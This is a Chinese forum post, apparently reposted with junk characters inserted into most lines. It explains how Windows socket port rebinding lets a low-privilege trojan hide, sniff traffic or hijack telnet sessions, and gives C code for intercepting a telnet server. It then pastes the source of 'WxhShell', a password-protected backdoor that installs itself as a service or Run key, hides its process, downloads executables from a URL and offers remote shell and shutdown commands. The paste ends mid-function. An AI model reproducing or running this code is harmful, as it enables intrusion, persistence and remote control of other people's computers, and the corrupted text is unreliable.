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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 80(Olf@PE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hA'i|;|ZYc  
V\1pn7~V  
  saddr.sin_family = AF_INET; 1 8*M  
*dmB Ji}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SX/ E@vYb  
OKW}8qM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z@za9U`6i  
n 0/<m.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e3o?=;  
 %XF>k)  
  这意味着什么?意味着可以进行如下的攻击: B/Jz$D  
$<NrJgQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 asEk 3  
<8J_[ S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CjRU3 (Q  
oz.#+t%X$b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #uRj9|E7  
 _'Jz+f.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L0lqm0h  
6&J7=g%G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t,bQ@x{zVC  
>O;V[H2[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u; ]4 ydp  
9~7s*3zI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0|i3#G_~  
)~X.x"}8k  
  #include jw 4B^2}  
  #include  a,ff8Qm  
  #include Lg%3M8-W~  
  #include    nrEG4X9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MpNgp )%>  
  int main() 8-|| Nh  
  { Uf}u`"$F  
  WORD wVersionRequested; 0jJ:WPR  
  DWORD ret; L'?7~Cdls  
  WSADATA wsaData; n0a|GZyO]  
  BOOL val; mz>GbImVD~  
  SOCKADDR_IN saddr; 'w$jVX/  
  SOCKADDR_IN scaddr; 634OH*6  
  int err; te[#FF3{  
  SOCKET s; Be$v%4  
  SOCKET sc; rv?4S`Z,x$  
  int caddsize; >0X_UDAWz  
  HANDLE mt; [r#m +R"N  
  DWORD tid;   f>CJ1 ;][{  
  wVersionRequested = MAKEWORD( 2, 2 ); ;% <[*T:*'  
  err = WSAStartup( wVersionRequested, &wsaData ); K[q{)>,9  
  if ( err != 0 ) { oKMr Pr[`  
  printf("error!WSAStartup failed!\n"); 7 /6 Zp?  
  return -1; ?-v]+<$Y  
  } =w5]o@  
  saddr.sin_family = AF_INET; P Dgd'y  
   ,J&\) yTP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pw.K,?kYr  
Ga]\~31NE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f2LiCe.?  
  saddr.sin_port = htons(23); x DiGN Jc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _LSp \{Z  
  { 1w!O&kn  
  printf("error!socket failed!\n"); jct|}U  
  return -1; Ur9L8EdC  
  } I7 = 4%)A  
  val = TRUE; YD{Ppz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :.P{}\/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oQiRjDLx  
  { &cp `? k  
  printf("error!setsockopt failed!\n"); J#?` l,  
  return -1; *'cyFu$  
  } jwL\|B oE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E[ttamU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HO_!/4hrU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 egmNX't6f5  
yZV Y3<]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r"|UgCc  
  { O))YJh"'_  
  ret=GetLastError(); #&}j'oD|N  
  printf("error!bind failed!\n"); XW.k%H4@  
  return -1; Nu;?})tF  
  } HcQ)XJPK  
  listen(s,2); 7G+E+A5o&  
  while(1) K>vi9,4/ks  
  { $%6.lQ  
  caddsize = sizeof(scaddr); #LR.1zZ  
  //接受连接请求 k`((6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q~f mVWq  
  if(sc!=INVALID_SOCKET) Ge`PVwn  
  { oZ_,WwnE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LzQOzl@z  
  if(mt==NULL) 5AK@e|G$w  
  { o1Krp '*  
  printf("Thread Creat Failed!\n"); z2lT4SAv+  
  break; JT! Cb$!  
  } ~p`[z~|  
  } |ju+{+  
  CloseHandle(mt); <U y $b4h  
  } M%YxhuT0  
  closesocket(s); vW-o%u*  
  WSACleanup(); n-u HKBq  
  return 0; ,MjlA{0  
  }   (?x R<]~g*  
  DWORD WINAPI ClientThread(LPVOID lpParam) +bGO"*  
  { PjP6^"  
  SOCKET ss = (SOCKET)lpParam; 9H/C(Vo  
  SOCKET sc; .lAPlJOO  
  unsigned char buf[4096]; ;efF]")  
  SOCKADDR_IN saddr; xpJ=yxO  
  long num; m al?3*x/  
  DWORD val; H]}mg='kI  
  DWORD ret; mX%T"_^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pr[V*C/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JM7FVB  
  saddr.sin_family = AF_INET;  {DD #&B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "%YVAaN  
  saddr.sin_port = htons(23); P(.XB`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;@*<M\O  
  { {%\@Z-9%q,  
  printf("error!socket failed!\n"); *nK4XgD  
  return -1; lA` qB1x  
  } d`,z4 _  
  val = 100; l{gR6U{e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kk,u{EA  
  { o)GesgxFa5  
  ret = GetLastError(); #w@FBFr@  
  return -1; |\Q2L;4C  
  } {PkR6.XhR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q|}O-A*wa  
  { fR b  
  ret = GetLastError(); /:v}Ni"6nF  
  return -1; !sp`oM  
  } q"5\bh1"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'ka}x~EF  
  { :NL[NbQYt  
  printf("error!socket connect failed!\n"); #uV J  
  closesocket(sc); ;9Qxq]  
  closesocket(ss); |~@yXc5a  
  return -1; P!SsMo6n  
  } $:yIe.F  
  while(1) vJ{F)0 K  
  { F1S0C>N?5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1(pv 3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rp4{lHw>C/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aCJ-T8?'  
  num = recv(ss,buf,4096,0); _F(Np\%_  
  if(num>0) ^ E_chx-e}  
  send(sc,buf,num,0); gC F9XKW  
  else if(num==0) F|G v  
  break; ILx4 [m7  
  num = recv(sc,buf,4096,0); )%b 5uZ  
  if(num>0) Vry*=X &Q  
  send(ss,buf,num,0); [&IcIZ  
  else if(num==0) (+6N)9rj`/  
  break; #Cx#U"~G`  
  } Z^BZH/I?  
  closesocket(ss); PC\p>6xT  
  closesocket(sc); ?-~<Vc*  
  return 0 ; }(!rB#bf  
  } liqVfB%  
PI@?I&Bo  
A<^X P-Nrp  
========================================================== (! 8y~n 1  
cE>m/^SKr  
下边附上一个代码,,WXhSHELL d+vAm3.Dg  
xSm~V3b c  
========================================================== &JYkh >  
N{}8Zh4op  
#include "stdafx.h" 7[mP@ {  
kT]jJbb"  
#include <stdio.h> ]0O3kiVQ  
#include <string.h> Q{5.;{/eC  
#include <windows.h> ~Q#! oh'i  
#include <winsock2.h> H )>3c1  
#include <winsvc.h> #?`S+YN!q)  
#include <urlmon.h> _#Lq~02 %  
Q3Z?Z;2aR  
#pragma comment (lib, "Ws2_32.lib") N ]14~r=  
#pragma comment (lib, "urlmon.lib") N`{ 6<Z0  
ZNl1e'  
#define MAX_USER   100 // 最大客户端连接数 Vc6 >i|"-O  
#define BUF_SOCK   200 // sock buffer .'.bokl/  
#define KEY_BUFF   255 // 输入 buffer ?p/}eRgi  
h:|BQC  
#define REBOOT     0   // 重启 :0ltq><?  
#define SHUTDOWN   1   // 关机 K2\)9  
^(Z%,j3O  
#define DEF_PORT   5000 // 监听端口 vRn]u57O  
M]M>z>1*v  
#define REG_LEN     16   // 注册表键长度 `DE_<l  
#define SVC_LEN     80   // NT服务名长度 +]( #!}oH  
W9oWj7&h  
// 从dll定义API 8GRB6-.h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \3] O?'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tm9sQ7Oj(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?`xm_udc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =HB(N|9_d  
EiaP1o  
// wxhshell配置信息 , Y,^vzX6  
struct WSCFG { IlwHHt;njp  
  int ws_port;         // 监听端口 BPl% SL  
  char ws_passstr[REG_LEN]; // 口令 "LH!Trl@k  
  int ws_autoins;       // 安装标记, 1=yes 0=no e2BC2K0  
  char ws_regname[REG_LEN]; // 注册表键名 f`*VNB`  
  char ws_svcname[REG_LEN]; // 服务名 O,-NzGs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 miTff[hsMa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q1{9>NI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FA\U4l-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,`OQAJ)>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4;>HBCM4-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oX*;iS X  
uJlW$Oc:.  
}; @y'ZM  
@v:Eh  
// default Wxhshell configuration `8tstWYa]Y  
struct WSCFG wscfg={DEF_PORT, y<wd~!>Ubu  
    "xuhuanlingzhe", *0?@/2&  
    1, I-1NZgv  
    "Wxhshell", SjY|aW+wAL  
    "Wxhshell", xG(iSuz  
            "WxhShell Service", ycwkF$7  
    "Wrsky Windows CmdShell Service", fYzP4  
    "Please Input Your Password: ", X$@qs9?)^  
  1, ?Z4%u8Krvz  
  "http://www.wrsky.com/wxhshell.exe", Vy|4k2  
  "Wxhshell.exe" : bi(mX7t  
    }; Ml;` *;  
?=^\kXc[  
// 消息定义模块 >qOj^WO~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w(z=xO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (+cZP&o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NZ0?0*  
char *msg_ws_ext="\n\rExit."; \t/0Yh-'  
char *msg_ws_end="\n\rQuit."; e*}GQ  
char *msg_ws_boot="\n\rReboot..."; wr=K AsH<  
char *msg_ws_poff="\n\rShutdown..."; hF5T9^8  
char *msg_ws_down="\n\rSave to "; Wv9L }@J  
* hS6F  
char *msg_ws_err="\n\rErr!"; AaoS & q  
char *msg_ws_ok="\n\rOK!"; |Ldvfd  
qX; F+~  
char ExeFile[MAX_PATH]; KZ%us6  
int nUser = 0; ( ;^>G[  
HANDLE handles[MAX_USER]; =kzp$ i  
int OsIsNt; aJtpaW@  
Jw&Fox7p  
SERVICE_STATUS       serviceStatus; Ziub%C[oV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '?Q"[e  
&['x+vL9  
// 函数声明 I}5e{jBB  
int Install(void); ](8F]J ,  
int Uninstall(void); <5 OUk  
int DownloadFile(char *sURL, SOCKET wsh); :vx<m_  
int Boot(int flag); T9!NuKfur  
void HideProc(void); -meY[!"X  
int GetOsVer(void); lKQevoy'  
int Wxhshell(SOCKET wsl); c#`IF6qj  
void TalkWithClient(void *cs); 5o>*a>27,A  
int CmdShell(SOCKET sock); vF pKkS343  
int StartFromService(void); Ewq@>$_!  
int StartWxhshell(LPSTR lpCmdLine); wHQ$xO;vD'  
HRjbGc|[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3&5b!Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o)n)Z~  
D/ sYH0.V$  
// 数据结构和表定义 A>e-eD xi  
SERVICE_TABLE_ENTRY DispatchTable[] = q8-hbWNm4  
{ [^bq?w  
{wscfg.ws_svcname, NTServiceMain}, JR xY#k  
{NULL, NULL} VCiq'LOR,<  
}; @D=%J!!*  
-*~ @?  
// 自我安装 vfvp#  
int Install(void) sf[|8}(  
{ 42A'`io[w]  
  char svExeFile[MAX_PATH]; pwS"BTZ  
  HKEY key; f-|zh#L  
  strcpy(svExeFile,ExeFile); u*W! !(P/  
zJl;| E".  
// 如果是win9x系统,修改注册表设为自启动 /V`SJ"  
if(!OsIsNt) { L6i|5 P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k~K;r8D/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S:`Gi>D  
  RegCloseKey(key); ($/l_F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sQ^t8Y 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s :BW}PM  
  RegCloseKey(key); x- ue1  
  return 0; jpS$5Ct  
    } :8@eon}  
  } frDMFEXXP  
} OI"g-+~  
else { ~m,~;  
h(~/JW[  
// 如果是NT以上系统,安装为系统服务 $w <R".4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QRrAyRf[  
if (schSCManager!=0) Z!^>!' Z  
{ s^IC]sW\%  
  SC_HANDLE schService = CreateService x3#:C=  
  ( T0"nzukd  
  schSCManager, >3B {sn}  
  wscfg.ws_svcname, L-rV+?i`6f  
  wscfg.ws_svcdisp, izGU&VeB  
  SERVICE_ALL_ACCESS, )?{!7/H F@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WQze|b %  
  SERVICE_AUTO_START, 9L3P'!Z  
  SERVICE_ERROR_NORMAL, 1cMLl6Bp>  
  svExeFile, =EM<LjO  
  NULL, `GY3H3B  
  NULL, Scm45"wB+  
  NULL, tc)Md]S  
  NULL, 1#7|au%:)  
  NULL o<Mcc j  
  ); _e ;b B?S  
  if (schService!=0) *i#N50k*j'  
  { 67&Q<`V1*q  
  CloseServiceHandle(schService); DNqV]N_W  
  CloseServiceHandle(schSCManager); )V>zXy}Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); do.>Y}d  
  strcat(svExeFile,wscfg.ws_svcname); ::iYydpM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2|i1}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F.i}&UQ%  
  RegCloseKey(key); +Yq?:uBV  
  return 0; +J;b3UE#  
    } +;,J0,Yn  
  } WQ.{Ag?1  
  CloseServiceHandle(schSCManager); t?)]xS)  
} <ta{)}IN^  
} 6SE^+@jR  
O-)[!8r  
return 1; wb(S7OsMO  
} s_RK x)w@  
E<u(Yw6=  
// 自我卸载 }fkdv6mz  
int Uninstall(void) ,N hv#U<$  
{ ^c(r4#}$"  
  HKEY key; Pi |Z\j)  
?u:mscb  
if(!OsIsNt) { htL1aQ.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )4s7,R  
  RegDeleteValue(key,wscfg.ws_regname); !v=/f_6  
  RegCloseKey(key); 50Gu~No6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !\d~9H%`B  
  RegDeleteValue(key,wscfg.ws_regname); ^>!&]@  
  RegCloseKey(key); @M-Q|  
  return 0; K0C"s 'q  
  } k}E_1_S(  
} \o2l;1~  
} I+.U.e^gx  
else { MZf?48"f  
4gev^/^^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &=M4Z/Ao  
if (schSCManager!=0) .o]I^3tf c  
{ }a, ycFt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cC/32SmY4  
  if (schService!=0) \),f?f-m  
  { u$zRm(!RB  
  if(DeleteService(schService)!=0) { tN4&#YK<  
  CloseServiceHandle(schService); a3w6&e`  
  CloseServiceHandle(schSCManager); K;rgLj0m  
  return 0; YT'V/8US  
  } qrj f  
  CloseServiceHandle(schService); KaOXqFT=  
  } }Rh%bf7,  
  CloseServiceHandle(schSCManager); 'U ZzH$h  
} "s]  
} XRQ1Uh6  
[_3&  
return 1; i%<NKE;v7m  
} 0QPY+6  
`+vQ5l$;L  
// 从指定url下载文件 DCLu^:|C"  
int DownloadFile(char *sURL, SOCKET wsh) 2vG X\W% 3  
{ 5[B)U">]  
  HRESULT hr; b&4JHyleF  
char seps[]= "/"; ,ZrR*W?iF  
char *token; "K9[P :nw  
char *file; Wf5;~RJC?  
char myURL[MAX_PATH]; 8mRZ(B>% X  
char myFILE[MAX_PATH]; V6_":L"!  
>?ar  
strcpy(myURL,sURL);  q"T?  
  token=strtok(myURL,seps); hWFOed4C  
  while(token!=NULL)  >Z3>  
  { qa@;S,lp  
    file=token; ZnAQO3%y  
  token=strtok(NULL,seps); d/Wp>A@dob  
  } GhcH"D%-  
PZ'|)  
GetCurrentDirectory(MAX_PATH,myFILE); TJW8l[M  
strcat(myFILE, "\\"); *HHL a  
strcat(myFILE, file); 2^Im~p~ByE  
  send(wsh,myFILE,strlen(myFILE),0); aZ{l6  
send(wsh,"...",3,0); [PiMu,O[v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ah@e9`_r  
  if(hr==S_OK) [Y.JC'F#  
return 0; g$"x,:2x{  
else '-n Iy$>  
return 1; F !OD*]  
`^on`"\{u  
} eY?OUS  
ZBx,'ph}4  
// 系统电源模块 F 2zUz[  
int Boot(int flag) X6$Cd]MN  
{ kCz2uG)l  
  HANDLE hToken; ;=^J_2ls  
  TOKEN_PRIVILEGES tkp; 83_mR*tGNp  
\8\T TkVSq  
  if(OsIsNt) { VyYrL]OrA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HGh)d` 8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nSQ]qH&4d  
    tkp.PrivilegeCount = 1; Q"eqql<h#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NRP) 'E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  lFcHE c  
if(flag==REBOOT) { dxZn| Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tP2.D:( R  
  return 0; *&]8rm{  
} y,1U]1TP  
else { ,|?#+O{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x5smJ__/  
  return 0; *KiY+_8>  
} ;*FY+jM  
  } s?1Aj<  
  else { hv>Xr=RE  
if(flag==REBOOT) { ^{0*?,-x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jpR]V86G  
  return 0; ,aP5)ZN-  
} U Rq9:{  
else { 4, Vx3QFZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =s'H o  
  return 0; {|<r7K1<  
} ]c 'EJu  
} ']c;$wP  
iK1{SgXrFI  
return 1; 5"!K8 N  
} z52F-<  
(;9fkqm%m  
// win9x进程隐藏模块 K%t&a RjS  
void HideProc(void) +"WNG  
{ A(BjU:D(Oj  
?aBAmyxm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [5-Ik T0  
  if ( hKernel != NULL ) g26_#4 P  
  { pBBKfv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;Z"Iv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iGj,B =35  
    FreeLibrary(hKernel); rAW7Zp~KK  
  } ;H71A[M T  
|FlB#  
return; RhF< {U.  
} mKV31wvK}  
pK_zq  
// 获取操作系统版本 rij%l+%@#  
int GetOsVer(void) ~mah.8G  
{ 'aD"v>  
  OSVERSIONINFO winfo; <j#IR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U Lq`!1{   
  GetVersionEx(&winfo); gwg~4:W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j1K~zG  
  return 1; GuL0:,  
  else QL2 LIs  
  return 0; &pz`gna  
} e,#5I(E  
H D$`ZV  
// 客户端句柄模块 TI"Ki$jC  
int Wxhshell(SOCKET wsl) {LqYb:/C5U  
{ tId,Q>zH  
  SOCKET wsh; >k=@YLj  
  struct sockaddr_in client; |)O;+e\  
  DWORD myID; oHSDi  
MDd 2B9cy[  
  while(nUser<MAX_USER) [-e$4^+9  
{ 3qNuv];2  
  int nSize=sizeof(client); R&P^rrC@B5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?aTC+\=  
  if(wsh==INVALID_SOCKET) return 1; Jzy:^PObT  
[6.<#_~{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #zSNDv`  
if(handles[nUser]==0) 0CX9tr2J  
  closesocket(wsh); z?`7g%Z?{  
else _XrlCLp: d  
  nUser++; XJS^{=/  
  } n36@&q+B&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tLdQO"  
NP~3!b  
  return 0; m<cv3dbZo  
} Xfg?\j/  
^y|`\oyqwN  
// 关闭 socket =ty{ugM<  
void CloseIt(SOCKET wsh) V!+<  
{ fbah~[5}  
closesocket(wsh); '?{L gj^R  
nUser--; v Oo^H  
ExitThread(0); P$clSJW  
} ?&U~X)Q  
@fVz *  
// 客户端请求句柄 K3rsew n  
void TalkWithClient(void *cs) 6BXZGE  
{ mwz!7Q   
H6 $pA^  
  SOCKET wsh=(SOCKET)cs; _R ;$tG,  
  char pwd[SVC_LEN]; '=K~M  
  char cmd[KEY_BUFF]; "Nq5FcS9  
char chr[1]; vsI|HxpyC,  
int i,j; 4}YHg&@\d%  
O=!EqaExW  
  while (nUser < MAX_USER) { +tYskx/  
"oR%0pU*  
if(wscfg.ws_passstr) { }1sd<<\`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $O\]cQD`u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N#:W#C{16w  
  //ZeroMemory(pwd,KEY_BUFF); Wp^ |=  
      i=0; 6-{wo)p  
  while(i<SVC_LEN) { Ipow Jw^  
hrfSe$8  
  // 设置超时 &&96kg3  
  fd_set FdRead; '0qKb*  
  struct timeval TimeOut; S^i<_?nwg  
  FD_ZERO(&FdRead); $KGRpI  
  FD_SET(wsh,&FdRead); #_Lgo  
  TimeOut.tv_sec=8; 5'(#Sf  
  TimeOut.tv_usec=0; ET6}V"UD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zj1_#=]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pM!cF  
<2I<Z'B,e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +6<g N[  
  pwd=chr[0]; reoCyP\!!  
  if(chr[0]==0xd || chr[0]==0xa) { 7V~ gqum  
  pwd=0; ?U~`'^@  
  break; UX ?S#:h  
  } -li;w tCS  
  i++; >+ Im:fD  
    } f+QDjJ?z  
Jy]}'eE?pr  
  // 如果是非法用户,关闭 socket 6a{b%e`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M>jk"*hA|  
}  JU=4v!0  
cT'<,#^/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P[Id[}5Pw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @iYr<>iDZ  
a 0qDRB  
while(1) { r$!  
re@OPiXa v  
  ZeroMemory(cmd,KEY_BUFF); "/\- ?YJjw  
G`u";w_  
      // 自动支持客户端 telnet标准   $n<X'7@0  
  j=0; z'Fu} ho  
  while(j<KEY_BUFF) { `ItPTSOi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }/%^;@q;  
  cmd[j]=chr[0]; uup>WW  
  if(chr[0]==0xa || chr[0]==0xd) { w"E.Va  
  cmd[j]=0; F8*P/<P1cK  
  break; \ 3l3,VYH  
  } <\\,L@  
  j++; .W0;Vhw"  
    } *U|2u+| F  
{,o =K4CD  
  // 下载文件 QPz3IK%   
  if(strstr(cmd,"http://")) { t^<ki?*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k'1i quc#u  
  if(DownloadFile(cmd,wsh)) SA -r61  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G:|=d0  
  else D{, b|4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :k oXS  
  } e?XQ,  
  else { Hl*/s  
V#d8fRm  
    switch(cmd[0]) { 6vZ.CUK9  
  /q6 ^.>b  
  // 帮助 Ap%tm)@1  
  case '?': { @-jI<g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1\if XJ  
    break; P%kJq^&  
  } ADlLodG  
  // 安装 ,*{9g6  
  case 'i': { :=,lG ou  
    if(Install()) os`#:Ao5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >l0D,-O]m  
    else fBt`D !Z8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $3:O}X>  
    break; >^+c s^jCM  
    } xw83dQ]}^  
  // 卸载 7V7iIbi  
  case 'r': { .s>PDzM $  
    if(Uninstall()) w!/se;_H+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .c2Zr|X  
    else ZHOh(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tCP;IU$  
    break; DTSK*a`  
    } CXhE+oS5z'  
  // 显示 wxhshell 所在路径 4qLH3I[Y  
  case 'p': {  Qf(mn8  
    char svExeFile[MAX_PATH]; TmO3hKaP  
    strcpy(svExeFile,"\n\r"); t(.xEl;Ma  
      strcat(svExeFile,ExeFile); kX:d?*{KB  
        send(wsh,svExeFile,strlen(svExeFile),0); ugMf pT)  
    break; %DF-;M"8  
    } C\C*'l6d  
  // 重启 M}b[;/~  
  case 'b': { Zjkrne{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @G>Q(a*,  
    if(Boot(REBOOT)) 'hH3d"a^=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r4FGz!U  
    else { Umt?COc  
    closesocket(wsh); 4?cIn4}  
    ExitThread(0); Ok6c E  
    } ^# gR"\F`d  
    break; j`$d W H/2  
    } ^bDh[O  
